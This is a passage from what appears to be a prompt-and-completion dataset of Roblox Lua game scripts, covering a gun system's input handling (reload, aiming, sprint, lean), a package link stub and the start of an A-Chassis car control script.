L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then\t\t\n\t\t\tif not L_83_ then\t\t\t\n\t\t\t\tif L_104_ > 0 and L_103_ < L_24_.Ammo then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\t\n\t\t\t\t\tfor L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do\n\t\t\t\t\t\tif L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then\n\t\t\t\t\t\t\tif (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then\n\t\t\t\t\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\t\t\t\t\tL_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)])\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tReloadAnim()\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tBoltBackAnim()\n\t\t\t\t\t\t\tBoltForwardAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\t\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo\n\t\t\t\t\t\tend\n\t\t\t\t\telseif L_103_ > 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_ + 1\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo + 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tif not L_75_ then\n\t\t\t\t\t\tL_69_ = true\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telseif L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\tnadeReload()\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\tend;\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then\n\t\t\tif (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then\n\t\t\tif (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild(\"AimPart2\") then\n\t\t\tif not L_86_ then\n\t\t\t\tL_56_ = L_1_:WaitForChild(\"AimPart2\")\n\t\t\t\tL_50_ = L_24_.CycleAimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.CycleAimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = true\n\t\t\telse\n\t\t\t\tL_56_ = L_1_:FindFirstChild(\"AimPart\")\n\t\t\t\tL_50_ = L_24_.AimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.AimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = false\n\t\t\tend;\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then\n\t\t\tif not L_77_ then\n\t\t\t\tL_77_ = true\n\t\t\t\tInspectAnim()\n\t\t\t\tIdleAnim()\n\t\t\t\tL_77_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then\n\t\t\tif L_15_ then\n\t\t\t\tif not L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = false\n\t\t\t\t\tL_78_ = true\n\t\t\t\t\t\n\t\t\t\t\tAttachAnim()\n\t\t\t\telseif L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\tL_78_ = false\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then\n\t\t\tif not L_79_ then\n\t\t\t\tL_79_ = true\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = L_24_.SprintPos\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Patrol\", L_24_.SprintPos)\n\t\t\telse\n\t\t\t\tL_79_ = false\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = CFrame.new()\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Unpatrol\")\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2)\n\tif not L_322_arg2 and L_15_ then\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\t\tL_155_ = 11\n\t\t\t\t\telse\n\t\t\t\t\t\tL_154_ = .2\n\t\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tL_154_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then\n\t\t\tL_68_ = false\t\t\t\t\n\t\t\tif Shooting then\n\t\t\t\tShooting = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then\n\t\t\tlocal L_323_ = L_42_:WaitForChild('GameGui')\n\t\t\tif L_16_ then\n\t\t\t\tL_323_:WaitForChild('AmmoFrame').Visible = false\n\t\t\t\tL_16_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT\n\t\t\tL_71_ = false\n\t\t\tif L_67_ and not L_64_ and not Shooting and not L_71_ then\n\t\t\t\tL_67_ = false\n\t\t\t\tL_72_ = false\n\t\t\t\tL_97_ = 70\n\t\t\t\n\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\tL_155_ = 11\n\t\t\t\telse\n\t\t\t\t\tL_154_ = .2\n\t\t\t\t\tL_155_ = 17\n\t\t\t\tend\t\t\t\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2)\n\tif not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then\n\t\tif L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then\n\t\t\tif L_324_arg1.Position.Z == 1 and (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\telseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2)\n\tif not L_327_arg2 and L_15_ then\n\t\tlocal L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList);\n\t\tif L_328_ then\n\t\t\tlocal L_330_ = (L_329_ - L_6_.Position).magnitude\n\t\t\tL_33_.Text = math.ceil(L_330_) .. ' m'\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nlocal Package = require(PackageIndex[\"Otter\"][\"Otter\"])\n\nreturn Package\n"} +{"prompt": "--[[\n\t ___ _____\n\t / _ |/ ___/\tAvxnturador | Novena\n\t / __ / /__\n\t/_/ |_\\___/ \t\t LuaInt | Novena\n\t\n\t*I assume you know what you're doing if you're gonna change something here.* ]]", "completion": "--\n\t\n\t--[[START]]\n\t\n\tscript.Parent:WaitForChild(\"Car\")\n\tscript.Parent:WaitForChild(\"IsOn\")\n\tscript.Parent:WaitForChild(\"ControlsOpen\")\n\tscript.Parent:WaitForChild(\"Values\")\n\t\n\t--[[Dependencies]]\n\t\n\tlocal player = game.Players.LocalPlayer\n\tlocal mouse = player:GetMouse()\n\tlocal UserInputService = game:GetService(\"UserInputService\")\n\tlocal car = script.Parent.Car.Value\n\tlocal _Tune = require(car[\"A-Chassis Tune\"])\n\t\n\t--[[Output Scaling Factor]]\n\t\n\tlocal hpScaling = _Tune.WeightScaling*10\n\tlocal FBrakeForce = _Tune.BrakeForce*_Tune.BrakeBias--luaint edit\n\tlocal RBrakeForce = _Tune.BrakeForce*(1-_Tune.BrakeBias)--luaint edit\n\tlocal PBrakeForceF = _Tune.PBrakeForce*_Tune.PBrakeBias\n\tlocal PBrakeForceR = _Tune.PBrakeForce*(1-_Tune.PBrakeBias)\n\tlocal EBrakeForce = _Tune.EBrakeForce\n\tlocal SteerOuter = _Tune.SteerOuter--luaint edit\n\tlocal SteerInner = _Tune.SteerInner--luaint edit\n\tlocal RSteerOuter = _Tune.RSteerOuter\n\tlocal RSteerInner = _Tune.RSteerInner\n\t\n\tif not workspace:PGSIsEnabled() then\n\t\terror(\"PGS is not enabled: A-Chassis will not work.\")\n\tend\n\t\n\t--[[Status Vars]]\n\t\n\tlocal _IsOn = _Tune.AutoStart\n\tif _Tune.AutoStart and (_Tune.Engine or _Tune.Electric) then script.Parent.IsOn.Value=true end\n\t\n\tlocal _GSteerT=0\n\tlocal _GSteerC=0\n\tlocal _GThrot=0\n\tlocal _InThrot=0\n\tlocal _IThrot=_Tune.IdleThrottle/100\n\tlocal _GBrake=0\n\tlocal _InBrake=0\n\tlocal _IBrake=0\n\t\n\tlocal _ClPressing = false\n\tlocal _PlayerClutch = false\n\tlocal _Clutch = 0\n\tlocal _ClutchKick = 0\n\tlocal _ClutchModulate = 0\n\tlocal _RPM = 0\n\tlocal _HP = 0\n\tlocal _OutTorque = 0\n\tlocal _CGear = 0\n\tlocal _PGear = _CGear\n\tlocal _ShiftUp = false\n\tlocal _ShiftDn = false\n\tlocal _Shifting = false\n\tlocal _spLimit = 0\n\t\n\tlocal _Boost = 0\n\tlocal _TCount = 0\n\tlocal _TPsi = 0\n\tlocal _TBoost = 0\n\tlocal _SCount = 0\n\tlocal _SPsi = 0\n\tlocal _SBoost = 0\n\tlocal _NH = 0\n\tlocal _NT = 0\n\tlocal _EH = 0\n\tlocal _ET = 0\n\tlocal _TH = 0\n\tlocal _TT = 0\n\tlocal _SH = 0\n\tlocal _ST = 0\n\tlocal _BH = 0\n\tlocal _BT = 0\n\t\n\tlocal _TMode = _Tune.TransModes[1]\n\t\n\tlocal _MSteer = false\n\tlocal _SteerL = false\n\tlocal _SteerR = false\n\tlocal _PBrake = false\n\tlocal _TCS = _Tune.TCSEnabled\n\tlocal _TCSActive = false\n\tlocal _TCSAmt = 0\n\tlocal _ABS = _Tune.ABSEnabled\n\tlocal _ABSActive = false\n\t\n\tlocal FlipWait=tick()\n\tlocal FlipDB=false\n\t\n\tlocal _InControls = false\n\t\n\t\n\t--[[Shutdown]]\n\t\n\tcar.DriveSeat.ChildRemoved:connect(function(child) if child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then script.Parent:Destroy() end end)\n\t\n\t--[[Controls]]\n\t\n\tlocal _CTRL = _Tune.Controls\n\tlocal Controls = Instance.new(\"Folder\",script.Parent)\n\tControls.Name = \"Controls\"\n\tfor i,v in pairs(_CTRL) do\n\t\tlocal a=Instance.new(\"StringValue\",Controls)\n\t\ta.Name=i\n\t\ta.Value=v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i]=Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\n\t\n\t--Deadzone Adjust\n\tlocal _PPH = _Tune.Peripherals\n\t\tfor i,v in pairs(_PPH) do\n\t\tlocal a = Instance.new(\"IntValue\",Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function() \n\t\t\ta.Value=math.min(100,math.max(0,a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\n\t\n\t--Input Handler\n\tfunction DealWithInput(input,IsRobloxFunction)\n\t\tif (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus\n\t\t\t--Shift Down [Manual Transmission]\n\t\t\tif (input.KeyCode ==_CTRL[\"ContlrShiftDown\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftDown\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftDown\"])) and ((_IsOn and ((_TMode==\"Auto\" and _CGear<=1) and _Tune.AutoShiftVers == \"New\") or _TMode==\"Semi\") or _TMode==\"Manual\") and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif not _ShiftDn then _ShiftDn = true end\n\t\t\t\t\n\t\t\t--Shift Up [Manual Transmission]\n\t\t\telseif (input.KeyCode ==_CTRL[\"ContlrShiftUp\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftUp\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftUp\"])) and ((_IsOn and ((_TMode==\"Auto\" and _CGear<1) and _Tune.AutoShiftVers == \"New\") or _TMode==\"Semi\") or _TMode==\"Manual\") and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif not _ShiftUp then _ShiftUp = true end\n\t\t\t\t\n\t\t\t--Toggle Clutch\n\t\t\telseif (input.KeyCode ==_CTRL[\"ContlrClutch\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseClutch\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"Clutch\"])) and _TMode==\"Manual\" then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_ClPressing = true\n\t\t\t\t\t_PlayerClutch = true\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ClPressing = false\n\t\t\t\t\t_PlayerClutch = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle PBrake\n\t\t\telseif input.KeyCode ==_CTRL[\"ContlrPBrake\"] or (_MSteer and input.KeyCode==_CTRL[\"MousePBrake\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"PBrake\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_PBrake = not _PBrake\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Transmission Mode\n\t\t\telseif (input.KeyCode == _CTRL[\"ContlrToggleTMode\"] or input.KeyCode==_CTRL[\"ToggleTransMode\"]) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tlocal n=1\n\t\t\t\tfor i,v in pairs(_Tune.TransModes) do\n\t\t\t\t\tif v==_TMode then n=i break end\n\t\t\t\tend\n\t\t\t\tn=n+1\n\t\t\t\tif n>#_Tune.TransModes then n=1 end\n\t\t\t\t_TMode = _Tune.TransModes[n]\n\t\t\t\t\n\t\t\t--Throttle\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Throttle\"] or input.KeyCode == _CTRL[\"Throttle2\"])) or ((((_CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseThrottle\"]) or input.KeyCode == _CTRL[\"MouseThrottle\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin and _IsOn then\n\t\t\t\t\t_IThrot = 1\n\t\t\t\telse\n\t\t\t\t\t_IThrot = _Tune.IdleThrottle/100\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Brake\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Brake\"] or input.KeyCode == _CTRL[\"Brake2\"])) or ((((_CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseBrake\"]) or input.KeyCode == _CTRL[\"MouseBrake\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_IBrake = 1\n\t\t\t\telse\n\t\t\t\t\t_IBrake = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Left\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerLeft\"] or input.KeyCode == _CTRL[\"SteerLeft2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\t_SteerL = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerR then\n\t\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerL = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Right\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerRight\"] or input.KeyCode == _CTRL[\"SteerRight2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\t_SteerR = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerL then\n\t\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerR = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Mouse Controls\n\t\t\telseif input.KeyCode ==_CTRL[\"ToggleMouseDrive\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_MSteer = not _MSteer\n\t\t\t\t\t_IThrot = _Tune.IdleThrottle/100\n\t\t\t\t\t_IBrake = 0\n\t\t\t\t\t_GSteerT = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle TCS\n\t\t\telseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleTCS\"] or input.KeyCode == _CTRL[\"ContlrToggleTCS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end\n\t\t\t\n\t\t\t--Toggle ABS\n\t\t\telseif _Tune.ABSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleABS\"] or input.KeyCode == _CTRL[\"ContlrToggleABS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\t\t--Variable Controls\n\t\t\tif input.UserInputType.Name:find(\"Gamepad\") then\n\t\t\t\t--Gamepad Steering\n\t\t\t\tif input.KeyCode == _CTRL[\"ContlrSteer\"] then\n\t\t\t\t\tif input.Position.X>= 0 then\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X-cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X+cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Throttle\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrThrottle\"] then\n\t\t\t\t\tif _IsOn then\n\t\t\t\t\t\t_IThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)\n\t\t\t\t\telse\n\t\t\t\t\t\t_IThrot = _Tune.IdleThrottle/100\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Brake\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrBrake\"] then\n\t\t\t\t\t_IBrake = input.Position.Z\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t_IThrot = _Tune.IdleThrottle/100\n\t\t\t_GSteerT = 0\n\t\t\t_IBrake = 0\n\t\tend\n\tend\n\tUserInputService.InputBegan:connect(DealWithInput)\n\tUserInputService.InputChanged:connect(DealWithInput)\n\tUserInputService.InputEnded:connect(DealWithInput)\n\t\n\t\n\t\n\t--[[Drivetrain Initialize]]\n\t\n\tlocal Drive={}\n\t\n\t--Power Front Wheels\n\t\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then table.insert(Drive,v) end end end\n\t\n\t--Power Rear Wheels\n\t\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then table.insert(Drive,v) end end end\n\t\n\t--Determine Wheel Size\n\tlocal wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end\n\t\n\t--Pre-Toggled PBrake\n\tfor i,v in pairs(car.Wheels:GetChildren()) do if (math.abs(v[\"#BV\"].MotorMaxTorque-PBrakeForceF)<1) or (math.abs(v[\"#BV\"].MotorMaxTorque-PBrakeForceR)<1) then _PBrake=true end end\n\t\n\t--[[Throttle and Brake Input Smoothening]]\n\t\n\tfunction Inputs(dt)\n\t\tlocal deltaTime = (60/(1/dt))\n\t\tif _InThrot <= _IThrot then\n\t\t\t_InThrot = math.min(_IThrot,_InThrot+(_Tune.ThrotAccel*deltaTime))\n\t\telse\n\t\t\t_InThrot = math.max(_IThrot,_InThrot-(_Tune.ThrotDecel*deltaTime))\n\t\tend\n\t\tif _InBrake <= _IBrake then\n\t\t\t_InBrake = math.min(_IBrake,_InBrake+(_Tune.BrakeAccel*deltaTime))\n\t\telse\n\t\t\t_InBrake = math.max(_IBrake,_InBrake-(_Tune.BrakeDecel*deltaTime))\n\t\tend\n\tend\n\t\n\t--[[Steering]]\n\t\n\tif _Tune.SteeringType == 'New' then--luaint edit\n\t\tSteerOuter = (_Tune.LockToLock*180)/_Tune.SteerRatio\n\t\tSteerInner = math.min(SteerOuter-(SteerOuter*(1-_Tune.Ackerman)),SteerOuter*1.2)\n\tend\n\t\n\tfunction Steering(dt)\n\t\tlocal deltaTime = (60/(1/dt))\n\t\t--Mouse Steer\n\t\tif _MSteer then\n\t\t\tlocal msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200)\n\t\t\tlocal mdZone = _Tune.Peripherals.MSteerDZone/100\n\t\t\tlocal mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth)\n\t\t\tif math.abs(mST)<=mdZone then\n\t\t\t\t_GSteerT = 0\n\t\t\telse\n\t\t\t\t_GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST))\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Interpolate Steering\n\t\tif _GSteerC < _GSteerT then\n\t\t\tif _GSteerC<0 then\n\t\t\t\t_GSteerC = math.min(_GSteerT,_GSteerC+(_Tune.ReturnSpeed*deltaTime))\n\t\t\telse\n\t\t\t\t_GSteerC = math.min(_GSteerT,_GSteerC+(_Tune.SteerSpeed*deltaTime))\n\t\t\tend\n\t\telse\n\t\t\tif _GSteerC>0 then\n\t\t\t\t_GSteerC = math.max(_GSteerT,_GSteerC-(_Tune.ReturnSpeed*deltaTime))\n\t\t\telse\n\t\t\t\t_GSteerC = math.max(_GSteerT,_GSteerC-(_Tune.SteerSpeed*deltaTime))\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Steer Decay Multiplier\n\t\tlocal sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\tlocal rsDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.RSteerDecay,1-(_Tune.MinSteer/100)))\n\t\t\n\t\t--Apply Steering\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"F\" then\n\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\telseif v.Name==\"FL\" then\n\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*SteerOuter*sDecay),0)--luaint edit\n\t\t\t\telse\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*SteerInner*sDecay),0)--luaint edit\n\t\t\t\tend\t\n\t\t\telseif v.Name==\"FR\" then\n\t\t\t\tif _GSteerC>= 0 then\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*SteerInner*sDecay),0)--luaint edit\n\t\t\t\telse\n\t\t\t\t\tv.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*SteerOuter*sDecay),0)--luaint edit\n\t\t\tend\n\t\t\telseif v.Name=='R' then\n\t\t\t\tif _Tune.FWSteer=='None' then\n\t\t\t\telseif 